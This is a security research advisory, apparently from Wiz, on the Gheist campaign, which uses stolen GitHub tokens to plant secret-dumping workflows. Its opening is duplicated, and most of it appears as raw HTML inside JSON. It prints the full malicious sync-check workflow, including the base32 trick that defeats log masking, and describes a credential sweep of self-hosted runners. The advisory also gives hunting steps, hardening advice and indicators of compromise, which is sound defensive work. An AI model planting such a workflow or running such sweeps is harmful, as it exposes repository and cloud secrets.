Research · Security, Open Source, DevOps, Research

Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles

First published at www.wiz.io.

Wiz Research details Gheist, a campaign since September 2026 that uses stolen GitHub tokens to commit a sync-check workflow dumping repository secrets into logs, with 13,500+ planted branches across 850+ accounts, and explains how the attack works, how to detect and harden against it, and its indicators of compromise.

Since September 15, 2026, Wiz Research has been tracking Gheist: a new campaign performing mass abuse of compromised GitHub tokens. The attack commits a workflow named sync-check to every repository to which each token has access. The workflow seeks to print the repository's secrets into its own workflow log. Then, the tool downloads the log through the GitHub API and deletes the run seconds later. The tool's API requests carry the user agent gheist, which gives the campaign its name.

We have recovered more than 13,500 planted branches from more than 850 compromised accounts, ranging from personal projects to enterprise organizations' private repositories.

A recent GitHub control has been blocking the exploitation in public repositories, but we've observed successful exploitation and follow-on activity in private repositories and GitHub enterprise environments.

Research · Security, Open Source, DevOps, Research

Gheist: Attempted Scaled Abuse of Stolen GitHub Tokens Stumbles

First published at www.wiz.io.

Wiz Research details Gheist, a campaign since September 2026 that uses stolen GitHub tokens to commit a sync-check workflow dumping repository secrets into logs, with 13,500+ planted branches across 850+ accounts, and explains how the attack works, how to detect and harden against it, and its indicators of compromise.

Since September 15, 2026, Wiz Research has been tracking Gheist: a new campaign performing mass abuse of compromised GitHub tokens. The attack commits a workflow named sync-check to every repository to which each token has access. The workflow seeks to print the repository's secrets into its own workflow log. Then, the tool downloads the log through the GitHub API and deletes the run seconds later. The tool's API requests carry the user agent gheist, which gives the campaign its name.

We have recovered more than 13,500 planted branches from more than 850 compromised accounts, ranging from personal projects to enterprise organizations' private repositories.

A recent GitHub control has been blocking the exploitation in public repositories, but we've observed successful exploitation and follow-on activity in private repositories and GitHub enterprise environments.

\n- Commit message `ci: sync config` adding only `.github/workflows/sync-check.yml`\n- Markers `toJSON(secrets) }}' | base32 -w 120` and `===== gdmp-pivot:`; files `.gdmp_pat`, `.gdmp_patg`, `.gdmp_sweep`\n- Workflow blob SHAs: `f3da2b8b357dcda02fd455d314be2a95007516a6` (plain), `d09535857a741bbb976bdc084a9a021713133291` (timeout), `1dc5af9cce950aad1eb1546ecce8565b117540c4` (separator), `c665b778b2d822453293003e7ca0bbb2cb08e39d` (self-hosted job). Environment-matrix variants differ per repository.\n","body_html":"\u003cp>Since September 15, 2026, Wiz Research has been tracking Gheist: a new campaign performing mass abuse of compromised GitHub tokens. The attack commits a workflow named \u003ccode>sync-check\u003c/code> to every repository to which each token has access. The workflow seeks to print the repository's secrets into its own workflow log. Then, the tool downloads the log through the GitHub API and deletes the run seconds later. The tool's API requests carry the user agent \u003ccode>gheist\u003c/code>, which gives the campaign its name.\u003c/p>\n\u003cp>We have recovered more than 13,500 planted branches from more than 850 compromised accounts, ranging from personal projects to enterprise organizations' private repositories.\u003c/p>\n\u003cp>A recent GitHub control has been blocking the exploitation in public repositories, but we've observed successful exploitation and follow-on activity in private repositories and GitHub enterprise environments.\u003c/p>\n\u003cp>As of October 24:\u003c/p>\n\u003col>\u003cli>the attack is ongoing and evolving\u003c/li>\u003cli>roughly ⅔ of implicated accounts are no longer available on GitHub. This likely indicates response activity, as we have reported this activity to GitHub.\u003c/li>\u003c/ol>\n\u003ch1 id=\"how-the-attack-works\">How the attack works\u003c/h1>\n\u003cp>For each repository, the tool creates a branch named \u003ccode>ci-sync-\u003c/code> plus six random characters, then commits \u003ccode>.github/workflows/sync-check.yml\u003c/code> with the message \u003ccode>ci: sync config\u003c/code>. The commit is unsigned and authored as the token's owner. The push event triggers the workflow:\u003c/p>\n\u003cpre>\u003ccode>name: sync-check\n\non: [push]\n\npermissions: {}\n\njobs:\n\n  sync:\n\n    runs-on: ubuntu-latest\n\n    timeout-minutes: 6\n\n    steps:\n\n      - name: build\n\n        run: |\n\n          env | base32 -w 120\n\n          echo -n '${{ toJSON(secrets) }}' | base32 -w 120\u003c/code>\u003c/pre>\n\u003cp>Three details make it work:\u003c/p>\n\u003cul>\u003cli>GitHub masks secret values in logs only when they appear verbatim. A base32-encoded secret doesn't match, so it prints in full.\u003c/li>\u003cli>While \u003ccode>permissions: {}\u003c/code> restricts the job's \u003ccode>GITHUB_TOKEN\u003c/code>, which the attacker doesn't need, it doesn't restrict the secrets context.\u003c/li>\u003cli>When a repository has deployment environments, the tool lists them in a job matrix with \u003ccode>environment: ${{ matrix.environment }}\u003c/code>, so environment-scoped secrets, often production credentials, are printed too.\u003c/li>\u003c/ul>\n\u003cp>Because the secrets leave through GitHub's own API, there is no attacker domain or outbound connection to block.\u003c/p>\n\u003cp>In enterprise organizations, we saw the tool cycle through tokens of several users and automation accounts within minutes, clone private repositories before planting the workflow, and hours later, cloud credentials from the same organization used to enumerate AWS Secrets Manager.\u003c/p>\n\u003ch1 id=\"how-the-payload-evolved\">How the payload evolved\u003c/h1>\n\u003cp>Two variants of this attack have been observed in parallel. They can be distinguished via the branch names.\u003c/p>\n\u003cp>\u003cstrong>Tool A\u003c/strong> uses a hexadecimal suffix and the plain payload.\u003c/p>\n\u003cp>\u003cstrong>Tool B\u003c/strong> uses a base36 suffix, added \u003ccode>timeout-minutes: 6\u003c/code> and the environment matrix within hours of its first run on September 28, and modifies the selected payload per repository.\u003c/p>\n\u003cp>On October 19, Tool B added \u003ccode>echo X | base32 -w 120\u003c/code> between the dumps, which prints \u003ccode>LAFA====\u003c/code> as a separator, likely for the operator's log parser. Hours later it pushed a second job, \u003ccode>sync-host\u003c/code>, with \u003ccode>runs-on: self-hosted\u003c/code>, apparently only to repositories with a registered self-hosted runner. It writes three helper files (\u003ccode>.gdmp_pat\u003c/code>, \u003ccode>.gdmp_patg\u003c/code>, \u003ccode>.gdmp_sweep\u003c/code>) and logs each stage under a \u003ccode>===== gdmp-pivot: <stage> ===== header\u003c/code>:\u003c/p>\n\u003col>\u003cli>Host details and crontab.\u003c/li>\u003cli>A recursive search of the home directory, workspace and system paths for 31 token formats (including keys for AI providers such as Anthropic, Hugging Face, Groq and NVIDIA), private keys, \u003ccode>.env\u003c/code> files, Terraform state and shell history.\u003c/li>\u003cli>The environment of every process, from \u003ccode>/proc/*/environ\u003c/code>.\u003c/li>\u003cli>Through the Docker socket, a container with the host's root filesystem mounted, to repeat the search on the host.\u003c/li>\u003cli>AWS instance-role credentials, plus GCP and Azure metadata.\u003c/li>\u003cli>GitHub Actions and GitLab runner credential files.\u003c/li>\u003cli>The Kubernetes service account token.\u003c/li>\u003c/ol>\n\u003cp>However, this job is buggy: it looks for the wrong runner key file, its URL-credential regex is broken, and it doesn't collect GCP or Azure tokens.\u003c/p>\n\u003ch1 id=\"github-s-approval-hold-and-private-repositories\">GitHub's approval hold and private repositories\u003c/h1>\n\u003cp>Since July 28, 2026, GitHub has \u003ca href=\"https://github.blog/changelog/2026-07-28-github-actions-holds-potentially-malicious-workflows-for-approval/\" rel=\"nofollow ugc noopener\">held potentially malicious workflow runs\u003c/a> in public repositories until a collaborator approves them. Every public Gheist run we checked, across all variants including the self-hosted job, sits at action_required. \u003cstrong>The control worked, and the malicious payloads never ran.\u003c/strong>\u003c/p>\n\u003cp>Unfortunately, that hold doesn't apply to private repositories or GitHub Enterprise Server. There, GitHub audit logs show runs on \u003ccode>ci-sync-*\u003c/code> branches completing and then being deleted by the \u003ccode>gheist\u003c/code> user agent. CloudTrail shows the organizations' own workflows running on those branches and assuming AWS roles, which proves Actions executed without approval.\u003c/p>\n\u003cp>For defenders, that last signal finds Gheist without any GitHub logs, as shown below.\u003c/p>\n\u003ch1 id=\"other-activity-on-the-same-accounts\">Other activity on the same accounts\u003c/h1>\n\u003cp>This campaign is leveraging compromised GitHub access. The same accounts are used by other actors and campaigns, which demonstrates how compromised credentials can move throughout the threat actor ecosystem. We've observed overlaps with the following campaigns:\u003c/p>\n\u003cul>\u003cli>\u003cstrong>Lure repositories (malware distribution).\u003c/strong> On October 6, 391 accounts renamed about 1,461 repositories to cracked-software lures like fl-studio-crack and solana-sniper-lite. The rename wiped 610 \u003ccode>ci-sync\u003c/code> branches as a side effect. 166 of these accounts never appear in Gheist activity, so the pool is larger than Gheist's footprint.\u003c/li>\u003cli>\u003cstrong>Free compute (cryptomining).\u003c/strong> On October 18, 25 Gheist accounts each created a "Windows RDP Runner" repository within nine minutes, attempting to abuse GitHub Actions for free compute cycles.\u003c/li>\u003cli>\u003cstrong>PolinRider.\u003c/strong> Some victims appear to be infected with \u003ca href=\"https://github.com/OpenSourceMalware/PolinRider\" rel=\"nofollow ugc noopener\">PolinRider\u003c/a>, the DPRK-linked malware that hides JavaScript in build config files and force-pushes back-dated commits. On October 19 and 20, three victims re-pushed their Gheist commits with a loader appended to \u003ccode>vite.config.js\u003c/code> behind hundreds of whitespace characters, and in two cases an api.js that package.json runs before every dev and build.\u003c/li>\u003cli>\u003cstrong>Megalodon.\u003c/strong> 57 accounts from Gheist's first phase were also victims of \u003ca href=\"https://threats.wiz.io/all-incidents/megalodon-campaign-backdoors-github-repositories-via-ci-workflow-compromise\" rel=\"nofollow ugc noopener\">Megalodon\u003c/a> in May.\u003c/li>\u003c/ul>\n\u003cp>The credential sources we could trace fit this picture: infostealer logs, and tokens exposed in earlier supply-chain compromises such as the Trivy compromise in March.\u003c/p>\n\u003cp>Note: Gheist is distinct from \u003ca href=\"https://threats.wiz.io/all-incidents/ghostaction-campaign\" rel=\"nofollow ugc noopener\">GhostAction\u003c/a>, which uses different workflow files and exfiltrates secrets to 193.32.204[.]199.\u003c/p>\n\u003ch1 id=\"which-actions-should-security-teams-take\">Which actions should security teams take?\u003c/h1>\n\u003cp>\u003cstrong>Hunt\u003c/strong>\u003c/p>\n\u003cul>\u003cli>Look for branches named \u003ccode>ci-sync-\u003c/code> followed by six random characters, where the only change is a new file at \u003ccode>.github/workflows/sync-check.yml\u003c/code> with the commit message \u003ccode>ci: sync config\u003c/code>.\u003c/li>\u003cli>In GitHub audit logs, look for workflow runs on \u003ccode>ci-sync-*\u003c/code> branches that were deleted within a minute of completing, and for any activity from the user agent \u003ccode>gheist\u003c/code>.\u003c/li>\u003cli>If your workflows authenticate to the cloud with OIDC, check cloud audit logs for role assumptions or token exchanges whose subject includes a \u003ccode>ci-sync-\u003c/code> branch. That shows GitHub Actions ran on an attacker branch, even if you don't collect GitHub logs.\u003c/li>\u003cli>On self-hosted runners, look for the files \u003ccode>.gdmp_pat\u003c/code>, \u003ccode>.gdmp_patg\u003c/code> and \u003ccode>.gdmp_sweep\u003c/code>, and the string \u003ccode>gdmp-pivot\u003c/code> in job logs.\u003c/li>\u003c/ul>\n\u003cp>\u003cstrong>Respond\u003c/strong>\u003c/p>\n\u003cul>\u003cli>Rotate every repository, organization and environment secret available to an affected repository. Deleting the run or the branch doesn't undo the exposure.\u003c/li>\u003cli>Revoke the tokens that pushed the commits, and check their owners' devices for infostealers.\u003c/li>\u003cli>If a \u003ccode>ci-sync\u003c/code> branch ran on a self-hosted runner, treat the host and its instance role as compromised.\u003c/li>\u003cli>Don't approve held \u003ccode>sync-check\u003c/code> runs, and don't run code from \u003ccode>ci-sync\u003c/code> branches.\u003c/li>\u003c/ul>\n\u003cp>\u003cstrong>Harden.\u003c/strong> Require reviewers on environments with production secrets, scope OIDC trust policies to protected branches or environments, use GitHub Apps or short-lived fine-grained tokens instead of personal access tokens, and run self-hosted runners as ephemeral hosts without Docker socket or unrestricted metadata access.\u003c/p>\n\u003ch1 id=\"indicators-of-compromise\">Indicators of compromise\u003c/h1>\n\u003cul>\u003cli>User agent \u003ccode>gheist\u003c/code>\u003c/li>\u003cli>Branch \u003ccode>ci-sync-\u003c/code> followed by six characters, matching \u003ccode>^ci-sync-[0-9a-z]{6}$\u003c/code>\u003c/li>\u003cli>Commit message \u003ccode>ci: sync config\u003c/code> adding only \u003ccode>.github/workflows/sync-check.yml\u003c/code>\u003c/li>\u003cli>Markers \u003ccode>toJSON(secrets) }}' | base32 -w 120\u003c/code> and \u003ccode>===== gdmp-pivot:\u003c/code>; files \u003ccode>.gdmp_pat\u003c/code>, \u003ccode>.gdmp_patg\u003c/code>, \u003ccode>.gdmp_sweep\u003c/code>\u003c/li>\u003cli>Workflow blob SHAs: \u003ccode>f3da2b8b357dcda02fd455d314be2a95007516a6\u003c/code> (plain), \u003ccode>d09535857a741bbb976bdc084a9a021713133291\u003c/code> (timeout), \u003ccode>1dc5af9cce950aad1eb1546ecce8565b117540c4\u003c/code> (separator), \u003ccode>c665b778b2d822453293003e7ca0bbb2cb08e39d\u003c/code> (self-hosted job). Environment-matrix variants differ per repository.\u003c/li>\u003c/ul>","headings":[{"level":1,"text":"How the attack works","id":"how-the-attack-works"},{"level":1,"text":"How the payload evolved","id":"how-the-payload-evolved"},{"level":1,"text":"GitHub's approval hold and private repositories","id":"github-s-approval-hold-and-private-repositories"},{"level":1,"text":"Other activity on the same accounts","id":"other-activity-on-the-same-accounts"},{"level":1,"text":"Which actions should security teams take?","id":"which-actions-should-security-teams-take"},{"level":1,"text":"Indicators of compromise","id":"indicators-of-compromise"}]}}